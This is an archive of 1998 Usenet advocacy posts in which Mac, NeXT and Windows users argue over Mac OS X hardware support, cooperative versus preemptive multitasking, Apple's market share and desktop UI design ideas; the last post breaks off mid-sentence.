In article <MPG.10256a18e0cf88e989a1d@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <Josh.McKee-2607980952420001@pm3a6.rmac.net>,
> Josh.McKee@cbns.com says...
> > Not to say that you're lying, but put yourself in my shoes...would you
> > really believe this? Also, what is to say that your sources are correct?
> I think my word's been pretty good here. Last major challenge to it was
> when I said that companies got raided for not using the USPS enough. Not
> possible, I was making it up. So, I did a bunch of searching and found
> the reference to it.
I remember that challenge...matter of fact, I backed you on it. I recall
having heard the same thing you did and mentioned something to that effect
before you provided your reference.
> But, yes, it comes down to my word. I've given you my word. That's all
> I can give you. Accept it or don't.
Not so much your word that is in question Don. It's just hard to swallow
a "all I can give is my word" reason. There is a lot that can be
incorrect with the information you've been told.
Likewise, if it is a matter of lack of personel, hire more people. I
recall someone else saying this, and a response (not from you, I think)
was written back stating that you can only throw so much man power at a
project. I agree with this to a degree...but if all you need are more
testers, this shouldn't fall into that category.
> The main kicker here is Carbon. Even with the really nasty APIs thrown
> out, the remaining MacOS API is not particularly well separated from the
> underlying hardware. (I know there's a term for this separation, it
> skips my mind at the moment.) NeXt/OpenStep/Rhapsody was designed with
> this separation, so the API is much easier to move from one platform to
> another.
I think the term you are looking for is "abstraction". And I think that
Apple certainly can write Mac OS X so that it can be easily abstracted
from the hardware. As a matter of fact, this would make it easier to
maintain on two different platforms than the current Mac OS. If Apple can
make OS 8.x work on both, it should be quite easy for Mac OS X to be
ported to these systems.
Josh
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 03:52:20 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjhtk$m6i$6@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
>John Kheit said:
> > Limiting a desktop/laptop UI to that of a palmtop/PDA unit LCD
> > is moronic.
>
> Hey Andy--why don't you threaten to sue him?
Because it's my opinion about a potential and particular course of action
with regard to UI development and not actionable.
> I misquoted him once by mistake and even said "IIRC" and the
> threatened to sue me _twice_.
You don't count so well.
> His calling you a moron ought to be worth at least half a million
> dollars.
I'm see why you'd like that precedent. If people were entitled to half a
mill everytime someone called them a moron, then you'd be richer than bgates.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 27 Jul 1998 21:49:31 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2707982149320001@pm3a20.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <35BA7DCD.57868185@unet.univie.ac.at> <Josh.McKee-2607980955300001@pm3a6.rmac.net> <MPG.10256a06d14b17fd989a1c@news.supernews.com>
NNTP-Posting-Date: 28 Jul 1998 03:47:22 GMT
In article <MPG.10256a06d14b17fd989a1c@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <Josh.McKee-2607980955300001@pm3a6.rmac.net>,
> Josh.McKee@cbns.com says...
> > Ah yes...take "THEIR WORD FOR IT". Just like I took their word that the
> > next generation OS would run on my 8100/80 (which is will not). Just like
> > I should have taken their word for it that "all currently shipping Macs
> > will run Rhapsody". Of course, they will, but Rhapsody is for all intents
> > and purposes dead. Had anyone known that Rhapsody would be killed off for
> > OS X, that statement would have been meaningless.
>
> Had anyone at Apple known that Rhapsody would be such a flop that it
> would have to be killed off so quickly for OS X, they never would have
> made their statement. You and I can argue about whether Apple should
> have known it would be such a flop that this emergency replacement would
> be necessary (I was predicting it when Rhapsody was first announced), but
> at every point along the line, Apple was giving you the best answers they
> had.
No one is accusing Apple of not having known Rhapsody was going to be a
flop. What they are upset about is that the successor to Rhapsody, Mac OS
X, will not run on hardware which Rhapsody could run on. The main reason
for being upset is there really is no technical reason why Mac OS X could
not be ported to these very systems. If Apple had the resources to
develope Rhapsody for these systems, and Apple is basically killing
Rhapsody, then move those developers/testers over to OS X for pre-G3 PCI
Macs.
> > Plain and simple, I cannot take Apple's word for anything...how this
> > company has managed to stay in business is beyond me.
>
> They make a product that still, in many ways, is better than the
> competition. And they try to take it forward. They've fumbled the ball
> several times in that attempt, sometimes in ways that are inexcusable.
> But, even with all of its frustrations (which I share, having just had to
> junk my trusty 1400c for my new G3 powerbook), the alternative is to
> just sit back and milk what they've got. And that would be worse.
I agree...Apple makes a damn good product. But they've screwed up so many
times that I cannot see how they're still in business.
Josh
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 03:55:33 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pji3l$m6i$7@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <macghod-2707981719370001@sdn-ar-001casbarp019.dialsprint.net> <6pjh50$m6i$5@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
> macghod@concentric.net (Steve Sullivan) wrote:
> > Actually, I heard about a case in Chico California that disturbed
> > me greatly. A person (who admittedly was not mentally competent)
>
> That sounds like the facts may well be different enough. There
> are a lot
[snip]
> happened in the case you talk about. Also, there may well be
> other circumstances involved (like maybe he made threatening
> gestures of somekind,
Also, if video tape were available (likely so at the DMV?) then the jury may
well have found the person's body language and other things (demeanor et al.)
were overtly threatening despite the persons words. So if I say "I'm not
going to hurt you at all" while approaching you with a huge knife up in the
air ready to strike, the overall incident is still threatening.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 18:03:52 -0500
Organization: Prairie Group
Message-ID: <MPG.1026c3561898de95989a2a@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com> <joe.ragosta-2507981921450001@elk82.dol.net> <6pdtb7$kif$1@news.xmission.com> <invid-ya02408000R2507982240580001@enews.newsguy.com> <35BACB95.D3158B5B@planetary.net> <joe.ragosta-2707980738020001@wil67.dol.net>
In article <joe.ragosta-2707980738020001@wil67.dol.net>,
joe.ragosta@dol.net says...
> Nonsense. What happened is that Novell dropped Netware for PPC. That fact
> isn't in dispute.
>
> Now, ordinarily, one would assume that it was Novell's decision. The
> people who are arguing that it's all because of Apple have the burden of
> proof here.
>
But what I've been reminded of, is that it was a partnership between
Novell and Apple. I even remember the big whoopla about it at WWDC.
Then, at some point it because an Apple project, and then Apple finally
pulled the plug.
Saying that it's solely Apple's fault is foolish. But, saying Apple had
nothing to do with, I don't think that's accurate.
And as to whether it is 5% or 85% responsible, I'm not stupid enough to
put my hand in THAT hornet's nest <grin>.
Donald
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
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From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 22:04:58 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2707982204590001@pm3a20.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 28 Jul 1998 04:02:49 GMT
In article <6phe0p$kdi$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2607980957160001@pm3a6.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > To whit: All you did is show examples where the Macs multitasking is
> > blocked. Since I can show you that Windows 95's multitasking can be
> > blocked as well, they are merely equal.
>
> So you are using the argument pattern:
>
> X causes Y in Z
> A causes Y in B
> Therefore Y is equally problematic in both Z and B
>
> Do you really believe that? BTW, name one operating system that allows you to
> switch processes at any point. There aren't any that I am aware of. Does that
> mean that all computer systems have equal multitasking capabilities?
I guess I just don't see why you can't admit that Windows 95's PMT is just
a crippled as the Macs.
Part of the definition of PMT is the inability of an application to block
the OS. In Windows 95, I can run an application that will block the OS
from sexecuting other tasks.
All the examples you've provided (as well as others) tends to show that
the Macs CMT is bad because it can be blocked by various events.
Well, I've shown that Windows 95's implementation of PMT can be blocked
too. So, it is not my words that say Windows 95's PMT is bad, it is the
very logic used by PC advocates who cry foul when the Macs CMT is
blocked. Why does this foul not apply when Windows 95's PMT is blocked?
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 22:01:13 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2707982201130001@pm3a20.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <35bfb853.101529031@198.0.0.100>
NNTP-Posting-Date: 28 Jul 1998 03:59:04 GMT
In article <35bfb853.101529031@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> On Sat, 25 Jul 1998 08:55:24 -0600, Josh.McKee@cbns.com (Joshua T.
> McKee) wrote:
> <S>
>
> >OK...name a situation where the Macs multitasking is worse than Windows 95.
>
>
> I used one of the macs to download a network driver the other day. I
> found the driver and clicked to start the download. When the "save
> as" dialog came up I realized I needed a diskette so I grabbed one of
> the ones I had laying around and put it in the drive. I then tried to
> go to the finder to see what else was on the diskette. Try as I may,
> the finder would not come up until I closed the dialog box. How
> exquisitely lame. Bryce 3 is another example of apple lameness.
> Start a render with Bryce 3. Now go to the finder... Now go back to
> Bryce... What happens? I'll tell you. Bryce Quit rendering when you
> try using the finder. Compare that to NT where you can have
> renderings going in two apps at once or under two instances of the
> same app at once and still have enough OS left over to surf the net or
> use Photoshop or play Quake or whatever you want to do. The moral
> being that mac multitasking is a very poor hack-copy of something M$
> and linux do very well. To me it's just another reason to not own a
> mac.
You've told me nothing that shows where the Mac OS's multitasking is any
worse than *Windows 95's* PMT. You see, in Windows 95, I can run a
program which will do exactly what you have described...block all
multitasking. It doesn't matter that the program is highly likely to be
unused...the fact that I can bring a PMT OS to a stand still by running
one single application means that the OS does not implement true PMT. As
such, any PC advocate who advocates Windows 95's PMT over the Macs CMT
better learn that Windows 95 is just as susceptible to blocking as the
Macs CMT. Now you talk about Windows NT...I agree...much better OS. But
not the OS that the majority of PC users are using, and not the one we
were discussing here. Yoy may wish to say that this is a nit pick, but
the Macs CMT is often said to be worse than the "modern" Windows 95. It
is not.
As for Bryce, well, they probably decided to be uncooperative because they
wanted all the CPU cycles for their program. To me, it is silly to begin
a render and then tie up CPU cycles playing games...you only extend your
rendering time.
And finally, what you fail to realize is that I'm not advocating the Macs
multitasking. I'm merely pointing out that for most people, it works just
fine. And it works much better than many PC advocates give it credit
for. Enough so, that most people don't feel the need to abandone the Mac
to get PMT. When PMT gets here, it will be nice. But I certainly can
live with what I've got because it works well in most situations, and is
not really that big of a deal for instances where it doesn't (like holding
down a menu, or lauching a program).
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 22:20:41 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2707982220420001@pm3a20.rmac.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net> <35ba359f.0@news.depaul.edu> <Josh.McKee-2607981028330001@pm3a6.rmac.net> <tbrown-2607982031570001@mv178.axom.com>
NNTP-Posting-Date: 28 Jul 1998 04:18:32 GMT
In article <tbrown-2607982031570001@mv178.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
> In article <Josh.McKee-2607981028330001@pm3a6.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> >2. Apple killed Copland in favor of replacing it with Rhapsody. At that
> >time, it was made clear that the NuBus equipped Macs would not run
> >Rhapsody. To curb the complaints, Apple announced that Rhapsody would run
> >on "all currently shipping Macs". This was an effort to convince
> >prospective buyers that by purchasing a new Mac today, you wouldn't be in
> >the same boat as NuBus PowerMac owners.
>
> Uh, Apple didn't kill Copland in favor of replacing it with Rhapsody,
> Apple killed Copland.
Uh...sorry if my wording wasn't correct. Does this change the point?
> It seems that people have a variable in their heads labeled "Apple's
> Advanced OS", so whereever they read Copland or Rhapsody, it's really the
> "Apple Advanced OS", and therefore the same thing. That's just not the
> case.
You didn't consider Copeland Apples Advanced OS? Seems everyone else did.
You didn't consider Rhapsody Apples Advanced OS? Seems everyone else did.
You don't consider OS X Apples Advanced OS? Seems everyone else does.
What do you consider OS X?
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 22:18:04 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2707982218040001@pm3a20.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <Josh.McKee-2407981748590001@pm3a13.rmac.net> <6pc954$8or$1@nnrp1.dejanews.com> <Josh.McKee-2507980917010001@pm3a23.rmac.net> <6phan4$hai$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 28 Jul 1998 04:15:57 GMT
In article <6phan4$hai$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2507980917010001@pm3a23.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > This claim was made a few weeks ago, and I disproved it. Specfically, the
> > poster said the Mac couldn't perform Photoshop filters while downloading.
>
> I never made the claim that the Mac didn't multitask during Photoshop filters.
> I don't think that I've mentioned Photoshop even once.
I never claimed that you did. Did you happen to see where I wrote "the
poster" and not "you said"? That specifically meant that I was not
referring to your words.
> > I hope you will agree that applying filters in Photoshop is a processor
> > intensive task. As such, just because a task is processor intensive does
> > not mean the Macs multitasking breaks.
>
> I said that "Mac multitasking sucks will doing processor intensive tasks".
> This statement is true. For example, while executing filters, Photoshop
> periodicaly makes calls to WaitNextEvent (or GetNextEvent) to surrender the
> CPU to other processes. Photoshop does not know how often it should do this.
> Therefore, the responsiveness of scheduling will be too low if many CPU
> intensive tasks are running or the scheduling inefficient if only one CPU
> intensive task is running.
Well, the claim wasn't about multiple processor intensive tasks. It was
about the Macs alleged inability to do a processor intensive task and
download at the same time. That allegation was disproved.
> > As for responsiveness, the system was quite responsive...this on a Power
> > Mac 8100/80.
>
> You were only running one CPU intensive task. Launch twenty copies of
> Photoshop, run a long filter in each and see if it is still as responsive.
> Also see if the filters take 20x longer to complete.
I would expect any system, PMT or otherwise, to slow down due to 20
processor intensive tasks. To me, it doesn't make sense to run 20
simultaneous processor intensive tasks. Multitasking works due to the
nature of the CPU waiting on the user or other, slower systems. Since a
processor intensive task ties up the CPU, all your tasks would slow down
considerably. Would it take 20 times as long? I don't know, but I
definitly wouldn't run 20 simultaneous processor intensive tasks as the
increase would be quite extensive. I will give it a try on one of my
Sparc workstation tomorrow. I've got a C program that counts the primes
from 100 million to 200 million...definitly a processor intensive task.
I'll run one to see how long it takes. Then I'll run two. I'd be willing
to guess that two will take twice as long as one.
And one thing I've got to say...you guys must be superman to be able to
co-ordinate the most efficient way to schedule tasks in the most efficient
order possible. And if you're not, then your wasting time...so better
re-think your work day. You guys ever hear of taking a break? Doing
something else, which is non-computer related while your computer is doing
something?
> > As I've said...it works better than most PC advocates give it credit for.
>
> I give Mac OS multitasking the credit it is due.
Apparently not.
Josh
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 19:08:41 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981908410001@sdn-ar-002casbarp026.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net> <19980727201430142403@pm2-2-05.aug.com>
In article <19980727201430142403@pm2-2-05.aug.com>, nospamhattonr@aug.com
(Rick) wrote:
> Actually Apple is gaining in market share.
Do you have any proof that APple's total worldwide marketshare is gaining?
> > The MacOS is not growing, unit I own a copy of MacOS now. I run it on a
> >Power Computing machine. Next year I will be forced to buy a G3 or G4
> >machine from Apple so that I can run OS-X (which galls me, but that's
> >another story).
>
> Then dont run OS X. Almost all of the apps will run on 8.x or 9.x. As
> for "forced upgrading"... that hasnt stopped anything in the wintel
> world. That sort of thing has been going on forever.
>
> > My purchase will increase the number of computers Apple will sell in that
> > quarter by one. It will even help that quarter's market share figure. But
> > since I already run MacOS, it will not increase the size of the Mac OS
> > market ONE BIT.
>
> But... if Apple is doubleing their retail sales (and the machine prices
> are cheaper, increasing their education sales and making profits - all
> while slashing peripheral type sales, how can Apple not be getting
> stronger?
And who the hell told you apple is doubleing their retail sales? In may,
their US retail market share was %9, the latest US RETAIL marketshare was
%9.5.
> Doom and gloom. Bah. After listening to it for over 12 years, it gets
> boring.
Well at least George knows what the hell is going on and doesnt say things
as wildly inaccurate as what you claim as fact!
Total marketshare has INCREASED. Apples units sales have stayed about the
same (actually they even dropped a insignificant ammount.) Increase of
total market and shipping the same number of units results in a DECREASE
of marketshare, comprende?
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 14:37:15 +1000
Organization: University of Queensland
Message-ID: <6pjkir$6jb$1@bunyip.cc.uq.edu.au>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote in message
Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu...
>On Tue, 28 Jul 1998, Christopher Smith wrote:
>
>>
>> Pulsar <tokarek@uiuc.edu> wrote in message
>> Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu...
>> >On Fri, 24 Jul 1998, Andy Bates wrote:
>> Since I abhor working at any resolution under 1024x768 (I'd rather
>> 1024x768@60Hz than 800x600@70-80Hz) this is a problem I have noticed a
lot
>> using Macs. After thinking about it for a while, however, a solution I
>> really like has proved elusive :\. One idea I liked was having no menu
>> bar/toolbar on screen at all, and holding down the third mouse button
would
>> pop up a menubar/toolbar "block" under the cursor's current position -
>> that's the best one I've been able to think up, and the biggest problem
I've
>> been able to see with it is standardising the position of the "block"
>> relative to the cursor (this is a problem I have noticed with
context-menus
>> in NT). This would also be pretty good for those using multiple
monitors -
>> you wouldn't have to treck back to the "main" screen to get at the
menubar.
>
>NeXT had a solution to this kind of thing that sounds almost exactly like
>what you propose. There was the normal menu in a separate window that the
>user normally places on the top left, and when the user did a right-click,
>the contents of that menu were immediately available underneath the
>pointer.It was a pseudo-context sensitive menu in that it wasn't context
>sensitive, but behaves in the same way otherwise.
From what I remember of using a NeXT box (sorry if I'm not quite correct,
it's been a while :) the menu stayed present on the screen even after you
released the RMB - that would be very annoying. The menu.toolbar "block"
should only be visible while the third MB is held down. Alternatively,
click once on the third MB to make the menu/toolbar appear, then whenever
the mouse moves away from the "block" it disappears again (like autohide on
the taskbar).
>> >Windows has the taskbar. While this isn't perfect, it is much more
useful
>> >than the Macintosh application menu. It presents an obvious way to
>> >switch between applications and provides clear indication of what is
>> >currently running. Each window in Windows has an icon and usually an
>> >applicaiton name that associates that window with a particular
>> >application.
>>
>> I've noticed a few things I'd like to change about the taskbar.
>> 1. The ability to re-order the buttons/tasks.
>> 2. When using multiple monitors (on Win98) the taskbar is only present
on
>> one monitor, I would personally like to see the taskbar implemented wrt
to
>> multiple monitors in three ways, and be able to choose between them.
>> a) The way it is now
>> b) Duplicate the taskbar across all monitors - clicking on a button
>> jumps the mouse cursor and focus to the monitor the application is
running
>> on
>> c) Have a separate taskbar for each monitor, displaying only the
apps
>> "running" on that monitor
>> 3. Make it easier to rename the Start button :).
>
>I would add:
>
>4) Provide some obvious indication of the foreground application.
The button is pushed in and a different colour - what more do you want ? :)
Admittedly I have noticed times when a program leaps to the foreground and
the taskbar does not change appropriately, but it's rare.
>
>5) Do something else when there are too many buttons to fit nicely on the
>bar. Just truncating the name is bad.
If you fill the taskbar, the buttons shrink until only the icon is visible,
then a scrollbar appears at the right-hand end to let you scroll down.
Personally I'd like to the see the buttons have a fixed minimum size (6
buttons across a 1152x864 screen seems to be a nice size on my system) and
the scrollbar appearing much quicker.
>> I wrote a whole post a few months back on how I'd like to see "mountable"
>> devices implemented, and I was surprised you didn't reply to it :). I'd
>> appreciate it if you could dig it up in Dejanews (or email me and I'll
send
>> it back) and tell me what you think.
>
>Hmm... I think I just missed that. Sorry. I'll poke through Dejanews
>though and comment on it. Perhaps it is a good solution to this issue on
>the Mac.
Well I think it's pretty good :P.
>> >This could be fixed by a new way of deciding the type of a file. I've
>> >talked about this before.
>>
>> Sorry I must have missed it - could you re-iterate or email me how you
would
>> like to see file typing implemented please ? :).
>> Please don't say it involves something filesystem dependent like forks -
BAD
>> idea.
>
>GIF files are different from JPG files which are different from AIFF files
>or WAV files which are different from Word 97 documents. Right now, the
>way OSes determine the type of these files is to either look at the file
>name extension or look at the type/creator codes. The information for what
>kind of file it is is contained somewhere else though. It's contained in
>the structure of the file itself.
>
>When an application is installed, it could register with the OS what types
>of files it can open. Perhaps this means providing the OS with some little
>function to determine whether the file can be opened with that app. When
>the user double clicks on a file, the OS would go through and test it
>against all the registered types that the installed apps support. For some
>things it will be immediately obvious while other things might be a more
>complicated process.
>
>This way, the name of the file doesn't define its type to the OS, and
>there is no set of type/creator codes that can erroneously define the file
>type to the OS. With this way, the OS would _know_ what kind of file it is
>through the contents of the file itself. Note that the OS does not need to
>know about every file type in the world, but just have a way of
>determining the type of things that can be opened by the installed
>applications.
>
>When the OS comes across an unknown file, it might present a list of
>likely applications that could open it. This would stand a much higher
>chance at choosing the correct application to open a file, and would make
>the process much more transparent to the user.
>
>It won't entirely solve all the problems, but it could be better than what
>we deal with now in Windows and the Mac OS.
FWIW there seems to be a "new" way of identifying filetypes that comes with
Office 97 (cum OS upgrade) - I've also heard people say it works with O95,
but haven't had time to test it myself. If you take any Office 97 file and
remove the extension, the file is still recognised as the correct type of
Office file (ie you double-click on it and it opens in the right
application). This is true even if you take the file to another machine, so
it's not "cheating" by storing something in the registry. Apparently it has
